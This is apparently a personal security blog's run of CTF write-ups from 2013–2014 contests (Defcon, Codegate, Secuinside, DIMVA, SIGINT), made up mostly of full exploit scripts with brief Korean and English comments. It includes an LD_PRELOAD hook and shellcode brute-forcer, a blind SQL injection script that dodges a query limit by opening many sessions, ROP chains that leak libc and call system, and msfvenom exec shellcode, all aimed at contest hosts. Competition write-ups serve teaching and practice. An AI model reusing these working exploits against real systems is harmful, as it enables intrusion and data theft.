I think It is not a good solution. I did just brute-force to find encoded shellcode.

It was first time to brute-force the remote binary, So I just want to share my experience.


The method is that I hooked server side. So, server side send the encoded value to client.

Then, client check if the encoded value is same with our shell code or not.


I repeated this method. 


following code is server hooking code.


정확한 풀이는 아니고, 부르트포싱으로 풀었다.

리모트를 부르트포싱 해본건 처음이어서, 그 과정을 적어볼까 한다.


방법은 서버를 Hooking해서, 인코딩된 결과를 클라이언트로 전송해줬다.

그래서 한바이트씩 넣어보다가, 쉘코드와 일치하는 부분이 있을 경우 기억해두는 방식으로 했다.


아래는 서버 후킹 코드.


http://pastebin.com/Vs0jJa3z

  1. // gcc -shared -ldl hook.c -o hook.so -fPIC -ldl
  2.  
  3. #define _GNU_SOURCE
  4. #include <stdio.h>
  5. #include<sys/types.h>
  6. #include <dlfcn.h>
  7.  
  8. void * memcpy ( void * destination, const void * source, size_t num ) {
  9.         static void (*memcpy_real)(void*, const void*, size_t) = NULL;
  10.         int i=0;
  11.  
  12.         if (__builtin_return_address(0) == 0x401c9e)
  13.         {
  14.                 //FILE *fp = fopen("scode", "w");
  15.                 fprintf(stdout, "Memcpy: ");
  16.  
  17.                 int length = num*2;
  18.  
  19.                 send(4, &length, 4, 0);
  20.  
  21.                 for (i=0; i<num; i++)
  22.                 {
  23.                         fprintf(stdout, "%02x ", *(char *)(source + i) & 0xFF);
  24.                         char buf[2];
  25.                         sprintf(buf, "%02x", *(char *)(source + i) & 0xFF);
  26.                         send(4, &buf, 2, 0);
  27.                 }
  28.                 //for (i=0; i<num; i++)
  29.                 //      fprintf(fp, "%c", *(char *)(source + i) & 0xFF);
  30.  
  31.                 //fclose(fp);
  32.  
  33.                 fprintf(stdout, "\n\n");
  34.                 //system("ndisasm scode");
  35.                 fprintf(stdout, "-------------------------------\n\n");
  36.         }
  37.  
  38.         if (!memcpy_real)
  39.                 memcpy_real = dlsym(RTLD_NEXT, "memcpy");
  40.  
  41.         memcpy_real(destination, source, num);
  42. }


컴파일을 한 후, 


# LD_PRELOAD=./hook.so ./byhd


와 같은 방식으로 서버를 연다.


그리고, 아래의 코드로 부르트포싱을 돌렸다.

http://pastebin.com/4dQaXibd

  1. from socket import *
  2. from struct import *
  3. import sys
  4. import time
  5.  
  6. def recvuntil(s, length):
  7.         result = ""
  8.         while True:
  9.                 result += s.recv(1)
  10.                 if len(result) >= length:
  11.                         break
  12.  
  13.         return result
  14.  
  15. #s.connect(('byhd_147e0accdae13428910e909704b21b11.2014.shallweplayaga.me', 9730))
  16.  
  17. shellcode = "48 8b 4d c8 48 83 c1 30 48 81 e2 ff 00 00 00 5b 48 83 eb 15 ff d3"
  18. shellcode = shellcode.replace(" ","").decode('hex')
  19.  
  20. answer = ""
  21.  
  22.  
  23. ii = len(answer)
  24. fail = False
  25. while ii < 250:
  26.         found = False
  27.         if fail != True:
  28.                 i=0xff
  29.         fail = False
  30.         while i>=0:
  31.                 s = socket(AF_INET, SOCK_STREAM)
  32.                 s.connect(('192.168.0.41', 9730))
  33.  
  34.                 #print hex(i)
  35.  
  36.                 s.send(pack('<L', len(answer)+1))
  37.                 s.send(answer+chr(i))
  38.  
  39.                 length = unpack('<L',s.recv(4))[0]
  40.                 data = recvuntil(s,length)
  41.                 print data
  42.                 data = data.decode('hex')
  43.  
  44.                 if len(data) > len(answer) and data[len(answer):] == shellcode[len(answer):len(data)]:
  45.                         answer += chr(i)
  46.                         print "[+] Found:",answer.encode('hex')
  47.                         ii+=1
  48.                         s.close()
  49.                         found = True
  50.                         break
  51.  
  52.                 if data[:len(shellcode)] == shellcode:
  53.                         print answer.encode('hex')
  54.                         sys.exit()
  55.  
  56.                 s.close()
  57.                 time.sleep(0.01)
  58.                 i-=1
  59.         if found == False:
  60.                 print "[-] Fail"
  61.                 if len(answer) <= 1:
  62.                         break
  63.                 else:
  64.                         last = answer[-1]
  65.                         i = ord(last) - 1
  66.                         answer = answer[:-1]
  67.                         ii-=1
  68.                         fail = True



사용한 쉘코드는 아래와 같다. (팀원이 생각한 코드)



  $ ndisasm asdf3 -b64

  00000000  488B4DC8              mov rcx,[rbp-0x38]

  00000004  4883C130               add rcx,byte +0x30

  00000008  4881E2FF000000      and rdx,0xff

  0000000F  5B                        pop rbx

  00000010  4883EB15              sub rbx,byte +0x15

  00000014  FFD3                    call rbx



최대한 짧게 하여, 우리가 입력했던 버퍼의 뒤쪽부붙을 다시 memcpy로 복사해서 콜 하도록 하였다.


그래서 최종적인 페이로드는 위에서 찾은 ( [인코딩된 문자] + "\x90"*50 + [쉘코드] ) 를 보내면 된다.



'Computer Security > CTF' 카테고리의 다른 글

[Defcon 2014] HJ(2) byhd write up  (0) 2014.05.19
[Defcon 2014] 100 lines exploit  (0) 2014.05.19
[RuCTF 2014 quals] Reversing 500  (0) 2014.03.11
[Codegate 2014 quals] Web 500 write up  (0) 2014.02.24
[secuinside 2013] debugd exploit  (2) 2013.11.28
[Secuinside 2013] angry danbi exploit  (3) 2013.11.27
posted by tunz

직접 알고리즘 분석해서, 파이썬으로 옮긴후 최적화를 한거라서 딱히 설명할것은 없고, 그냥 익스플로잇만.



http://pastebin.com/MGKqAZhK


  1. from socket import *
  2. import time
  3.  
  4. randpad ="FC8A4551678CA9C0B0FDF76FB850F12F7A6266E3D3C36EBE373933683BC6761EAEAA83ED571AF129E6C1B99EDDA2862C1ADC499D8201D53AB5D333121CCE942BC3B06CBC4673395E7BC7B49E56F0AD725E83C705C5E92E85887994F7E7AC34FE5CCE2E13F1CC8EEA6083BEDC4ABBE8DF6520EF44ADFAD61283D5DC94AD1FE15FE8FA7E3FDA61E3DFAB5B4F2A6C2482AD1789BA29B946347464F745228DAF33D652B5DE10E4535D96B7E22ECBB175BC745A21298C57B3165EC7C8C22635482D3C607B5DDDA8296119D0EFEE6D04DD2051951D01E1DADAB4A546D9CBAF56B52005D06BD222212F2DD373975689AEAC02B635D21487C649DF0E178564E5AF6E9361".decode('hex')
  5.  
  6. """
  7. def loop(table, size):
  8.        idx1=0
  9.        loop_count = size - 0x20
  10.        while idx1 < loop_count:
  11.                idx2=0
  12.                calculated = 0
  13.                while idx2 <= 3:
  14.                        calculated = calculated | calc(table, idx1, idx2)
  15.                        idx2 += 1
  16.                idx3 = 0
  17.                while idx3 < loop_count:
  18.                        idx4 = 0
  19.                        calculated2 = 0
  20.                        while idx4 <= 3:
  21.                                calculated2 = calculated2 | calc(table, idx3, idx4)
  22.                                idx4 += 1
  23.                        calculated2 = calculated ^ calculated2
  24.                        idx5 = 0
  25.                        while idx5 <= 3:
  26.                                offset = (idx3 + loop_count * idx1)*4 + idx5
  27.                                ecx = (((-idx5) & 0xFFFFFFFF) << 3) + 0x18
  28.                                eax = calculated2 >> (ecx & 0xFF)
  29.                                result[offset] = eax & 0xFF
  30.                                idx5 += 1
  31. """
  32.  
  33. def calc(table, idx1, idx2):
  34.         offset = (idx1 >> 3) + idx2
  35.         edx = ((ord(table[offset]) << (idx1 & 7)) | (ord(table[offset + 1]) >> (8 - (idx1 & 7)))) & 0xFF
  36.         ecx = (((-idx2) & 0xFF) << 3) + 0x18
  37.         edx = edx << (ecx & 0xFF)
  38.         return edx
  39.  
  40. def optimized_loop(table, size, offset):
  41.         loop_count = size - 0x20
  42.         idx5 = offset & 3
  43.         offset -= idx5
  44.         offset = offset / 4
  45.         idx3 = offset % loop_count
  46.         idx1 = offset / loop_count
  47.  
  48.         calculated = 0
  49.         idx2 = 0
  50.         while idx2 <= 3:
  51.                 calculated = calculated | calc(table, idx1, idx2)
  52.                 idx2 += 1
  53.  
  54.         calculated2 = 0
  55.         idx4 = 0
  56.         while idx4 <= 3:
  57.                 calculated2 = calculated2 | calc(table, idx3, idx4)
  58.                 idx4 += 1
  59.         calculated2 = calculated ^ calculated2
  60.         ecx = (((-idx5) & 0xFFFFFFFF) << 3) + 0x18
  61.         eax = calculated2 >> (ecx & 0xFF)
  62.         return eax & 0xFF
  63.  
  64. def calc2(idx1, idx2):
  65.         global randpad
  66.         offset = (idx1 >> 3) + idx2
  67.         edx = ((optimized_loop(randpad, 0x7e0, offset) << (idx1 & 7)) | (optimized_loop(randpad, 0x7e0, offset + 1) >> (8 - idx1 &7))) & 0xFF
  68.         ecx = ((-idx2) << 3) + 0x18
  69.         edx = edx << (ecx & 0xFF)
  70.         return edx
  71.  
  72.  
  73. def findAnswer(offset):
  74.         loop_count = 0xf81000 - 0x20
  75.         idx5 = offset & 3
  76.         offset -= idx5
  77.         offset = offset / 4
  78.         idx3 = offset % loop_count
  79.         idx1 = offset / loop_count
  80.  
  81.         calculated = 0
  82.         idx2 = 0
  83.         while idx2 <= 3:
  84.                 calculated = calculated | calc2(idx1, idx2)
  85.                 idx2 += 1
  86.  
  87.         calculated2 = 0
  88.         idx4 = 0
  89.         while idx4 <= 3:
  90.                 calculated2 = calculated2 | calc2(idx3, idx4)
  91.                 idx4 += 1
  92.         calculated2 = calculated ^ calculated2
  93.         ecx = (((-idx5) & 0xFFFFFFFF) << 3) + 0x18
  94.         eax = calculated2 >> (ecx & 0xFF)
  95.         return eax & 0xFF
  96. = socket(AF_INET , SOCK_STREAM)
  97. s.connect(('100lines_53ac15fc7aa93da92629d37a669e106c.2014.shallweplayaga.me', 20689))
  98.  
  99. time.sleep(0.5)
  100. data = s.recv(65000)
  101. data += s.recv(65000)
  102.  
  103. data =  data.split(None)[2:]
  104. print data
  105. OTP = [int(x[2:],16) for x in data]
  106.  
  107. for i in range(0, 8):
  108.         #s.send(findAnswer(int(data[i][2:],16)))
  109.         #number = int(data[i][2:],16)
  110.         #print hex(number)
  111.         number = OTP[i]
  112.         answer = findAnswer(number)
  113.         edx = answer
  114.         eax = edx*3
  115.         eax = eax << 5
  116.         eax += edx
  117.         eax = (eax & 0xFFFF0000) + ((eax & 0xFFFF) >> 8)
  118.         ecx = edx
  119.         ecx -= eax
  120.         ecx = (ecx & 0xFFFFFF00) + ((ecx & 0xFF) >> 1)
  121.         eax += ecx
  122.         eax = (eax & 0xFFFFFF00) + ((eax & 0xFF) >> 6)
  123.         ecx = 0x5D
  124.         eax = eax * ecx
  125.         edx -= eax
  126.         eax = edx
  127.         eax = (eax & 0xFF) + 0x20
  128.         print hex(eax)
  129.         s.send(chr(eax))
  130.  
  131. time.sleep(3)
  132.  
  133. data = ""
  134. data += s.recv(1024)
  135. data += s.recv(1024)
  136. data += s.recv(1024)
  137. data += s.recv(1024)
  138. data += s.recv(1024)
  139. data += s.recv(1024)
  140. data += s.recv(1024)
  141. data += s.recv(1024)
  142. data += s.recv(1024)
  143.  
  144.  
  145. data = data.strip()
  146.  
  147. flags = data.split(",")
  148.  
  149. if len(flags) > 1:
  150.         flags = [int(x[2:],16) for x in flags]
  151.         answer = ""
  152.         i=0
  153.         while i<len(flags):
  154.                 answer += chr( findAnswer( OTP[i] ) ^ flags[i] )
  155.                 i+=1
  156.  
  157. print answer
  158.  
  159. s.close()


'Computer Security > CTF' 카테고리의 다른 글

[Defcon 2014] HJ(2) byhd write up  (0) 2014.05.19
[Defcon 2014] 100 lines exploit  (0) 2014.05.19
[RuCTF 2014 quals] Reversing 500  (0) 2014.03.11
[Codegate 2014 quals] Web 500 write up  (0) 2014.02.24
[secuinside 2013] debugd exploit  (2) 2013.11.28
[Secuinside 2013] angry danbi exploit  (3) 2013.11.27
posted by tunz

First, it is packed by upx. so just unpack binary.


then, because of undefined instruction(0F 0B), it starts exception handler.

So, strcmp with "oh_nasty_boy!you_hacked_me:(hehe" is just fake.


exception handler is in 0x4010d0.


At 0x4010d0, insert keys and encode input. and finally compare with another real answer 


routine is as follow.


1. exception handler starts

2. insert key to stack

3. xor key with some value in 0x4011C3

4. encode input using key (function 0x401000)

5. compare encoded value to answer


but, I didn't know xor key with what value in third step.

So, it is just brute-force.


script is as follow in python

http://pastebin.com/MnSv30YB


  1. from struct import *
  2. import sys
  3.  
  4. key1 = "86DE9AF8DFF585E9DD85EF".decode('hex')
  5.  
  6. def encode(data,n):
  7.         global key1
  8.         zero_to_100 = []
  9.         i =0
  10.         while i<0x100:
  11.                 zero_to_100.append(i)
  12.                 i+=1
  13.         temp_key1 = list(key1)
  14.         temp_key = [chr(ord(i) ^ n) for i in key1]
  15.         calc_key1 = "".join(temp_key)
  16.  
  17.         i = 0
  18.         v4 = 0
  19.         v8 = 0
  20.         v3 = 0
  21.         while i<0x100:
  22.                 v3 += (zero_to_100[i] + ord(calc_key1[i % 0xB]))
  23.                 v3 = v3 & 0xFF
  24.                 v8 = zero_to_100[i]
  25.                 zero_to_100[i] = zero_to_100[v3]
  26.                 zero_to_100[v3] = v8
  27.                 i+=1
  28.  
  29.         i=0
  30.         v9 = 0
  31.         v10 = 0
  32.         answer = ""
  33.         while i < 0x20:
  34.                 v12 = v10+1
  35.                 v17 = v12
  36.                 v9 += zero_to_100[v12]
  37.                 v9 = v9 & 0xFF
  38.                 v13 = zero_to_100[v12]
  39.                 v15 = zero_to_100[v9]
  40.                 zero_to_100[v12] = v15
  41.                 zero_to_100[v9] = v13
  42.                 k = zero_to_100[(v13 + v15) & 0xFF]
  43.                 answer += chr(ord(data[i]) ^ k)
  44.                 v10 = v17
  45.                 i+=1
  46.  
  47.         return answer
  48.  
  49. def check(data):
  50.         data = list(data)
  51.         for i in data:
  52.                 if ord(i) < 0x20 or ord(i) >= 0x80:
  53.                         return False
  54.  
  55.         return True
  56.  
  57. compare = ""
  58. compare += pack('<L', 0x03C7C8CA)
  59. compare += pack('<L', 0x1F2810FC)
  60. compare += pack('<L', 0x948C7F7A)
  61. compare += pack('<L', 0x2469F92E)
  62. compare += pack('<L', 0xC1277D9F)
  63. compare += pack('<L', 0x7F4509C4)
  64. compare += pack('<L', 0x9745EE75)
  65. compare += pack('<L', 0x1F79AF8D)
  66.  
  67. for n in range(0,0x100):
  68.         xored = encode("1"*32,n)
  69.  
  70.         key = ""
  71.         for i in xored:
  72.                 key += chr(ord(i) ^ ord('1'))
  73.  
  74.         i=0
  75.         answer = ""
  76.         while i< 32:
  77.                 answer += chr(ord(key[i]) ^ ord(compare[i]))
  78.                 i+=1
  79.  
  80.         if check(answer):
  81.                 print answer
  82.                 sys.exit()


'Computer Security > CTF' 카테고리의 다른 글

[Defcon 2014] HJ(2) byhd write up  (0) 2014.05.19
[Defcon 2014] 100 lines exploit  (0) 2014.05.19
[RuCTF 2014 quals] Reversing 500  (0) 2014.03.11
[Codegate 2014 quals] Web 500 write up  (0) 2014.02.24
[secuinside 2013] debugd exploit  (2) 2013.11.28
[Secuinside 2013] angry danbi exploit  (3) 2013.11.27
posted by tunz

이번 대회는 포너블 몇개랑 웹 두개를 풀었는데,

포너블들은 정말 지저분하게 풀었고, 깔끔하게 나오는 익스플로잇이 이것밖에 없어서.. 이 익스플로잇만 올립니다.


처음에 이 문제를 보고, wechall에 있는 md5를 blind injection으로 횟수제한 걸고 맞추는 문제를 떠올렸는데,

그게 페이크였던것 같다

여기선 md5도 아니고, 문서에 잇는 문자를 랜덤으로 가져오는데, 

30글자가 모두 소문자라고 하더라도, 한 문자당 5번, 총 150번 정도는 필요하다.

물론 time-based도 가능은 하지만, 시간도 오래 걸리고, CTF에서는 정확도가 떨어진다. (서버상태때문)


근데 문득 든 생각이, IP 하나가, 여러개의 세션을 만들 수 있다라는 것이다.

그리고 DB에는 하나의 패스워드 (가장 마지막으로 만든 세션의 패스워드)만 저장이 된다.


즉, 카운트가 120이 아닌, 실제로는 무한대라는것.


그래서, 익스플로잇에서는 처음에 여러개의 세션을 만들고,

한 세션으로 5글자씩 알아내는 방법으로 알아낸후,

최종 세션을 이용해 정답을 제출한다.


As you see the following code, first, I made multiple sessions.

Each sessions have their own 'cnt' variable.

But, in mysql database, only the password of last session is saved.

After that, the password is compared with IP address, not session.

So, although I use different sessions, I can access to a same password.

(It means that the counting is meaningless)

after I extract the password, auth password using the last session.


http://pastebin.com/y4zaHQtb


  1. import httplib
  2. import urllib
  3. import sys
  4. import time
  5.  
  6. conn = httplib.HTTPConnection('58.229.183.24',80)
  7. conn.connect()
  8.  
  9. session_header = '95hem28h053quulk22r5696me'
  10.  
  11. answer = ""
  12.  
  13. # create sessions
  14. for i in range(0, 10):
  15.     ch = chr(ord('0') + i)
  16.     print "Session make: "+ch
  17.     conn.putrequest('GET', '/5a520b6b783866fd93f9dcdaf753af08/index.php')
  18.     conn.putheader('Cookie', 'PHPSESSID='+session_header+ch+';')
  19.     conn.endheaders()
  20.     resp = conn.getresponse()
  21.     data = resp.read()
  22.  
  23. # injection
  24. for aa in range(0, 10):
  25.  ch = chr(ord('0') + aa)
  26.  for k in range(1 + aa*5, 6 + aa*5):
  27.    #i=96
  28.    i=0
  29.    for m in range(1, 9):
  30.         query = "' or substr(LPAD(bin(ascii(substr(password,"+str(k)+",1))),8,0),"+str(m)+",1)=0x31 and 'a' = 'a"
  31.         params = 'password='+urllib.quote(query)
  32.         conn.putrequest('POST', '/5a520b6b783866fd93f9dcdaf753af08/index.php')
  33.         conn.putheader('Content-length', str(len(params)))
  34.         conn.putheader('Content-Type', 'application/x-www-form-urlencoded')
  35.         conn.putheader('Cookie', 'PHPSESSID='+session_header + ch +';')
  36.         conn.endheaders()
  37.         conn.send(params)
  38.  
  39.         resp = conn.getresponse()
  40.         data = resp.read()
  41.  
  42.         if "True" in data:
  43.             i += pow(2,8-m)
  44.             print str(m)+" "+str(i)
  45.    answer = answer + chr(i)
  46.    print "Find: "+answer
  47.  if len(answer) == 30:
  48.     break
  49.  
  50. print "Answer: "+answer
  51. print "Session: "+session_header+'9'
  52.  
  53. conn.close()


posted by tunz

ubuntu 13.10에서 재현



  1. from socket import *
  2. from struct import *
  3. import time
  4.  
  5. = socket(AF_INET,SOCK_STREAM)
  6. s.connect(('localhost', 7744))
  7.  
  8. leaveret = 0x8048a68
  9. recv_plt = 0x8048770
  10. send_plt = 0x8048790
  11. bss = 0x804b080
  12. fake_ebp = bss+0x50
  13. send_got = 0x804b070
  14. ppppr = 0x804906c
  15.  
  16. cmd = "id>&4\x00"
  17.  
  18. payload = "1;"+"\x00"*(0x66c + 4 - 2)
  19. payload += pack('<L', send_plt)
  20. payload += pack('<L', ppppr)
  21. payload += pack('<L', 4)
  22. payload += pack('<L', send_got)
  23. payload += pack('<L', 4)
  24. payload += pack('<L', 0)
  25.  
  26. payload += pack('<L', recv_plt)
  27. payload += pack('<L', ppppr)
  28. payload += pack('<L', 4)
  29. payload += pack('<L', send_got)
  30. payload += pack('<L', 4)
  31. payload += pack('<L', 0)
  32.  
  33. payload += pack('<L', recv_plt)
  34. payload += pack('<L', ppppr)
  35. payload += pack('<L', 4)
  36. payload += pack('<L', bss)
  37. payload += pack('<L', len(cmd))
  38. payload += pack('<L', 0)
  39.  
  40. payload += pack('<L', send_plt)
  41. payload += "AAAA"
  42. payload += pack('<L', bss)
  43.  
  44. time.sleep(0.5)
  45. print s.recv(1024)
  46. s.send("4\n")
  47. time.sleep(0.5)
  48. print s.recv(1024)
  49.  
  50. raw_input('go?')
  51.  
  52. s.send(";"*0x38 + pack('<L',len(payload)))
  53. time.sleep(1)
  54. print s.recv(1024)
  55. s.send(payload)
  56. time.sleep(1)
  57. #print s.recv(5)
  58.  
  59. #time.sleep(1)
  60. send_addr = unpack('<L',s.recv(4))[0]
  61. system_addr = send_addr - 0xf3940 + 0x41260
  62.  
  63. print "System: "+hex(system_addr)
  64.  
  65. s.send(pack('<L',system_addr))
  66. s.send(cmd)
  67.  
  68. time.sleep(0.1)
  69. print s.recv(1024)
  70.  
  71. s.close()


posted by tunz
  • hea 2013.11.28 23:35

    안녕하세요 저도 요근래 ROP공부를 하고 있는데 offset계산해서 add가젯 같은거 사용하는 개념까진 알겠는데 리모트 익스플로잇할때 recv send 같은걸 어떻게 사용해주는지 잘 모르겠더라구요.. 혹시 관련 좋은 문서 있을까요?

    • tunz 2013.11.29 01:58 신고

      음... 저도 딱히 문서 하나만 보고 공부한게 아니라서,
      GOT랑 plt가 정확히 뭔지만 아는 상태로, 간단한 CTF exploit 하나 분석하시면 딱 느낌이 오실거에요

우분투 12.04에서 재현


  1. from socket import *
  2. from struct import *
  3. import time
  4.  
  5. fputs_plt = 0x8048800
  6. fputs_got = 0x804B064
  7. recv_plt = 0x8048810
  8. send_plt = 0x8048830
  9. ppppr = 0x80499FC
  10. bss = 0x804c0dc
  11.  
  12. cmd = "id>&4\x00"
  13.  
  14. i=0
  15. while True:
  16.         print "Send! %d" % i
  17.         i += 1
  18.         s = socket(AF_INET, SOCK_STREAM)
  19.  
  20.         s.connect(('localhost',8080))
  21.  
  22.         time.sleep(0.3)
  23.         print s.recv(10000)
  24.  
  25.         #raw_input('go?')
  26.  
  27.         vmcode = ""
  28.  
  29.         # auth 2
  30.         vmcode += "#\x00\x00\x00\x00"*1024 # index + 4*
  31.         vmcode += ("P\x10"+"$\x08")*8 # get secret
  32.         vmcode += "P\x10"
  33.         vmcode += "9R"
  34.  
  35.         # auth 3
  36.         vmcode += "\x91"
  37.         vmcode += pack('<L',0xdeadbeef)*2
  38.  
  39.         # overflow
  40.         vmcode += "\xef"
  41.  
  42.         vmcode += "A"*0x20
  43.  
  44.         # ROP
  45.         vmcode += pack('<L',send_plt)
  46.         vmcode += pack('<L',ppppr)
  47.         vmcode += pack('<L',4)
  48.         vmcode += pack('<L',fputs_got)
  49.         vmcode += pack('<L',4)
  50.         vmcode += pack('<L',0)
  51.  
  52.         vmcode += pack('<L',recv_plt)
  53.         vmcode += pack('<L',ppppr)
  54.         vmcode += pack('<L',4)
  55.         vmcode += pack('<L',fputs_got)
  56.         vmcode += pack('<L',4)
  57.         vmcode += pack('<L',0)
  58.  
  59.         vmcode += pack('<L',recv_plt)
  60.         vmcode += pack('<L',ppppr)
  61.         vmcode += pack('<L',4)
  62.         vmcode += pack('<L',bss)
  63.         vmcode += pack('<L',len(cmd))
  64.         vmcode += pack('<L',0)
  65.  
  66.         vmcode += pack('<L',fputs_plt)
  67.         vmcode += "AAAA"
  68.         vmcode += pack('<L',bss)
  69.  
  70.         s.send(vmcode + " "*(0x400*6 - len(vmcode)))
  71.  
  72.         try:
  73.                 fputs_addr = unpack('<L',s.recv(4))[0]
  74.         except:
  75.                 continue
  76.         system_addr = fputs_addr - 0x66100 + 0x3f430
  77.         print "System: "+hex(system_addr)
  78.  
  79.         s.send(pack('<L',system_addr))
  80.  
  81.         s.send(cmd)
  82.  
  83.         out = s.recv(65000)
  84.         if "uid" in out:
  85.                 print out
  86.                 break
  87.  
  88.         s.close()


posted by tunz
  • xeros 2014.02.06 18:37

    secuinside 2013 두문제 파일좀 올려주시면 감사하겠습니다ㅎ

  • xeros 2014.02.09 19:48

    어.. 거기에 있었네요.. 맨밑에 잇어서 못알아차린거 같네요.. 감사합니다


whitehatcontest 보고서.pdf



그 외에 stalking은 DNS검색해서 나온 전화번호를 구글링하면 어떤 블로그가 나왔다고 하고,


포렌식은 그냥 atuopsy로 열면 바로 답이 나왔다.

posted by tunz
  • 2013.09.16 09:10

    비밀댓글입니다

  • carpedm20 2013.10.10 10:55

    이쁜건 좋은데 검색이 사라짐

같은 문제에, NX만 없애고, 더이상 레지스터를 보여주지 않는다.

이건, pwn 100에서 딴 쉘을 이용해서 풀었다.

pwn 100에서, "objdump -T ????/libc.so.6 | grep system" 명령어와 "ldd"명령어를 통해 system 주소의 처음 2바이트와 마지막 3바이트를 알아냈다. (첫 2바이트는 f7, 뒤 3바이트는 430)

ASLR은 중간 3바이트에만 걸리기때문에, 해당부분은 브루트포싱을 해서 구해낸다.


아래는 익스플로잇

(주석은 stage1으로, 시스템 주소를 알아내는 작업, 그 후에는 주석처리를 한 후 원하는 커맨드를 입력한다.)


from socket import * from struct import * import hashlib import time   for i in range(0,0x1000): s = socket(AF_INET, SOCK_STREAM) s.connect(('dimvactf.0x90.eu',1120)) s.settimeout(2) #system = 0xf7000430+i*0x1000 system=0xf762f430 print "pwn2 system: "+hex(system) s.send("A") s.recv(1024)   #body = ";id>&4;" body = ";cat flag>&4;" body += "a"*(128-len(body))   SHA256 = hashlib.sha256(body).digest() data = "ProtoSecure1.0\xff\xff"+SHA256+body data += "a"*1364 data += pack('<L',system) data += "c"*(0x800-len(data)) s.send(data)   get=s.recv(1024) """ if "uid" in get: print get break """ time.sleep(0.2) try: get=s.recv(1024) print get except: s.close() continue """ if "uid" in get: print get break """   s.close() break


'Computer Security > CTF' 카테고리의 다른 글

[Secuinside 2013] angry danbi exploit  (3) 2013.11.27
Whitehat Contest 개인전 예선 보고서  (2) 2013.09.12
[DIMVA 2013] pwn 200 exploit  (0) 2013.07.23
[DIMVA 2013] pwn 100 exploit  (0) 2013.07.23
[SIGINT 2013] trollsex(tr0llsex) exploit  (0) 2013.07.08
[SIGINT 2013] mail exploit  (0) 2013.07.08
posted by tunz

NX가 걸려있지 않았고, 레지스트를 보여줬다.

그래서 그냥 해당 주소에 쉘코드를 넣고, EIP를 그쪽으로 우회하면 된다.


from struct import * import hashlib import time import sys   s = socket(AF_INET, SOCK_STREAM) s.connect(('dimvactf.0x90.eu',1116)) raw_input('go?') s.settimeout(2) s.recv(1024)   fd = 4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd))   # ./msfvenom -p linux/x86/exec CMD="/bin/cat flag" -b '\x0a\x00' shellcode += "\xba\xa1\xdd\xa6\x03\xd9\xc5\xd9\x74\x24\xf4\x5e\x29\xc9" +\ "\xb1\x0d\x83\xee\xfc\x31\x56\x0f\x03\x56\xae\x3f\x53\x69" +\ "\xbb\xe7\x05\x3c\xdd\x7f\x1b\xa2\xa8\x67\x0b\x0b\xd9\x0f" +\ "\xcc\x3b\x32\xb2\xa5\xd5\xc5\xd1\x64\xc2\xdb\x15\x89\x12" +\ "\xcc\x77\xe0\x7c\x3d\x1b\x93\xf4\x61\xbd\x3f\x94\x06\x41" +\ "\x97\x05\x41\xa0\xda\x2a" body = "a"*128   SHA256 = hashlib.sha256(body).digest() data = "ProtoSecure1.0\xf0\x0f"+SHA256+body data += "\x90"*(1388-len(shellcode)-4) data += shellcode+"\x90\x90\x90\x90" data += pack('<L',0xffffd2e8) s.send(data)   print s.recv(65000) print s.recv(65000) print s.recv(65000)   s.close()


'Computer Security > CTF' 카테고리의 다른 글

Whitehat Contest 개인전 예선 보고서  (2) 2013.09.12
[DIMVA 2013] pwn 200 exploit  (0) 2013.07.23
[DIMVA 2013] pwn 100 exploit  (0) 2013.07.23
[SIGINT 2013] trollsex(tr0llsex) exploit  (0) 2013.07.08
[SIGINT 2013] mail exploit  (0) 2013.07.08
[SIGINT 2013] proxy exploit  (0) 2013.07.08
posted by tunz






import socket
import sctp
from struct import *
 
s = sctp.sctpsocket_tcp(socket.AF_INET)
s.connect(('188.40.147.118',1024))
#s.connect(('127.0.0.1',1024))
print s.recv(1024)
cmd = "system\x00"
s.sctp_send(cmd+"A"*(24-len(cmd))+pack('<Q',0x401120)+"EEEEEEEE"+"\n",stream=9)
get=s.recv(1024)
system=int(get[2:],16)
print "System: "+hex(system)
cmd = "id>&4\x00"
s.sctp_send(cmd+"A"*(24-len(cmd))+pack('<Q',system)+"EEEEEEEE"+"\n",stream=9)
get=s.recv(1024)
print get
 
s.close()


'Computer Security > CTF' 카테고리의 다른 글

[DIMVA 2013] pwn 200 exploit  (0) 2013.07.23
[DIMVA 2013] pwn 100 exploit  (0) 2013.07.23
[SIGINT 2013] trollsex(tr0llsex) exploit  (0) 2013.07.08
[SIGINT 2013] mail exploit  (0) 2013.07.08
[SIGINT 2013] proxy exploit  (0) 2013.07.08
[defcon 2013] annyong exploit  (1) 2013.06.28
posted by tunz